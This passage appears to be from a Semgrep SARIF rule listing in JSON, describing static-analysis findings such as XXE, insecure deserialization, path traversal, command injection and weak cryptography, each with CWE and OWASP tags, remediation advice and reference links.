prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle","id":"python.lang.deserialization.tainted-pickle.tainted-pickle","name":"python.lang.deserialization.tainted-pickle.tainted-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pickle.tainted-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","id":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","name":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"help":{"markdown":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.session-fixation.session-fixation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://owasp.org/www-community/attacks/Session_fixation](https://owasp.org/www-community/attacks/Session_fixation)\n","text":"Detected `$REQ` argument which enters `$RES.$HEADER`, this can lead to session fixation vulnerabilities if an attacker can control the cookie value. This vulnerability can lead to unauthorized access to accounts, and in some esoteric cases, Cross-Site-Scripting (XSS). Users should not be able to influence cookies directly, for session cookies, they should be generated securely using an approved session management library. If the cookie does need to be set by a user, consider using an allow-list based approach to restrict the cookies which can be set."},"helpUri":"https://semgrep.dev/r/javascript.express.session-fixation.session-fixation","id":"javascript.express.session-fixation.session-fixation","name":"javascript.express.session-fixation.session-fixation","properties":{"precision":"very-high","tags":["CWE-384: Session Fixation","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.session-fixation.session-fixation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","id":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","name":"python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"help":{"markdown":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"Externally controlled data is used to index a fixed-size array, `$BUFFER`. This could lead to an out-of-bounds read or write, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","id":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","name":"cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index","properties":{"precision":"very-high","tags":["CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.unvalidated-array-index.unvalidated-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","id":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","name":"javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-code-injection.playwright-evaluate-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.actix.path-traversal.tainted-path.tainted-path","id":"rust.actix.path-traversal.tainted-path.tainted-path","name":"rust.actix.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","id":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","name":"csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint.xpath-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","id":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","name":"java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/rsa#rsa](https://www.pycryptodome.org/src/public_key/rsa#rsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 3072 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'phpinfo' function may reveal sensitive information about your environment."},"help":{"markdown":"The 'phpinfo' function may reveal sensitive information about your environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use)\n - [https://www.php.net/manual/en/function.phpinfo](https://www.php.net/manual/en/function.phpinfo)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/PhpinfosSniff.php)\n","text":"The 'phpinfo' function may reveal sensitive information about your environment."},"helpUri":"https://semgrep.dev/r/php.lang.security.phpinfo-use.phpinfo-use","id":"php.lang.security.phpinfo-use.phpinfo-use","name":"php.lang.security.phpinfo-use.phpinfo-use","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.phpinfo-use.phpinfo-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - 